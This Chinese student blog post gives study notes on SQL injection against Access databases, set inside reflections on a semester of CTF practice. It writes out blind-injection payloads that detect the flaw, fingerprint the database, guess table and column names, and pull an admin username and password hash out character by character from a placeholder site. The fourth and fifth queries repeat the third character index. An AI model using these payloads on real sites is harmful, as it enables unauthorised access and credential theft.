黑客学习 Access注入 基础部分

16 篇文章 0 订阅
15 篇文章 1 订阅

见识了很多工具,自己把大部分都下载了下来。大部分ctf中能用到的功能也比较容易学。

就快要放暑假了,这是我的大学的第二个学期,相比于第一学期我进步了更多;在实验室的日子大部分都是充实的,坐下来安静的学习,有时在跑神的一小会儿会想起别的,虽然或多或少的影响效率,但思想的发散也算是另一种方式的休息。学习是痛苦的。痛苦伴随着人们的内心的成长。

 

Access注入

注入方法

  • 联合查询法(兼容性差)
  • 逐字猜解法(兼容性好)

联合查询法

联合查询法基本流程

  1. 判断注入
  2. 确定列名的数目
  3. 猜解表名
  4. 猜解列名
  5. 爆出数据

 

逐字猜解法

逐字猜解法基本流程

  1. 判断注入
  2. 查询表名
  3. 查询列名
  4. 先确定长度,再猜解数据

详细步骤

第一步:判断注入

 

  • http://www.xxx.com/news.asp?id=6and 1=1
  • http://www.xxx.com/news.asp?id=6and 1=2

两次返回不一样则存在注入,

我们还可以使用单引号来快速判断注入点。

 

判断数据库

  • and (select count(*) from msysobjects)>0(返回权限不足 access数据库)
  • and (select count(*) fromsysobjects)>0  (返回正常则为MSSQL数据库)

第二步:查询表名

语句and exists (select * from 表名)

语句and exists (select * from admin)

返回正常则说明存在admin数据表。

 

查询表名

第三步:查询列名

语句and exists (select 列名 from 表名)

语句and exists (select admin from admin)

返回正常,则说明存在admin这个列名。

 

查询是否有admin列名

语句and exists (select password from admin)

返回正常,则说明存在password这个列名。

 

查询是否有password列名

第四步:先确定长度,再猜解数据

确定admin列第一行数据的长度。

语句and (select top 1 len(admin) from admin) =5

//top 1子句含义为查询结果只显示首条记录。

//len()取长度

返回正常,则说明admin第一行的数据长度为5。

 

获取admin首行记录内容长度

确定password列第一行数据的长度。

语句and (select top 1 len(password) from

admin) =16

返回正常,则说明password第一列的数据长度为16。

 

获取password首行长度

然后我们逐字猜解数据,逐字猜解我们需要通过用到ASCII表,具体如下图所示:

猜解admin第一列数据内容:

  • 语句and (select top 1 asc(mid(admin,1,1)) from admin) =97 返回正常,第一位为a
  • 语句and (select top 1 asc(mid(admin,2,1)) from admin) =100 返回正常,第二位为d
  • 语句and (select top 1 asc(mid(admin,3,1)) from admin) =109 返回正常,第三位为m
  • 语句and (select top 1 asc(mid(admin,3,1)) from admin) =105 返回正常,第四位为i
  • 语句and (select top 1 asc(mid(admin,3,1)) from admin) =110 返回正常,第五位为n

最终得到数据为admin。

 

猜解password第一列数据内容:

  • 语句and (select top 1 asc(mid(password,1,1)) from admin) =97 返回正常,第一位为a。
  • 语句and (select top 1 asc(mid(password,2,1)) from admin) =52 返回正常,第二位为4。
  • 语句and (select top 1 asc(mid(password,3,1)) from admin) =56 返回正常,第三位为8。
  • 语句and (select top 1 asc(mid(password,4,1)) from admin) =101 返回正常,第四位为e。
  • 语句and (select top 1 asc(mid(password,5,1)) from admin) =49 返回正常,第五位为1。
  • 语句and (select top 1 asc(mid(password,6,1)) from admin) =57 返回正常,第六位为9。
  • 语句and (select top 1 asc(mid(password,7,1)) from admin) =48 返回正常,第七位为0。
  • 语句and (select top 1 asc(mid(password,8,1)) from admin) =102 返回正常,第八位为f。
  • 语句and (select top 1 asc(mid(password,9,1)) from admin) =97 返回正常,第九位为a。
  • 语句and (select top 1 asc(mid(password,10,1)) from admin) =102 返回正常,第十位为f。
  • 语句and (select top 1 asc(mid(password,11,1)) from admin) =99 返回正常,第十一位为c。
  • 语句and (select top 1 asc(mid(password,12,1)) from admin) =50 返回正常,第十二位为2。
  • 语句and (select top 1 asc(mid(password,13,1)) from admin) =53 返回正常,第十三位为5。
  • 语句and (select top 1 asc(mid(password,14,1)) from admin) =55 返回正常,第十四位为7。
  • 语句and (select top 1 asc(mid(password,15,1)) from admin) =100 返回正常,第十五位为d。
  • 语句and (select top 1 asc(mid(password,16,1)) from admin) =51 返回正常,第十六位为3。
  • 最终得到数据a48e190fafc257d3。md5解密得结果:admin888

 

这个用sqlmap会简单很多。

如齐学长所说,大部分的东西都是自己去学,我此刻也仿佛找到了大学大部分时间的归属,有一道题去全身心地投入去做,有一个奖去拼,有一座心中的山去远足,此时此刻我在学习,也算是一件比较幸福的事情了

 

 

 

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值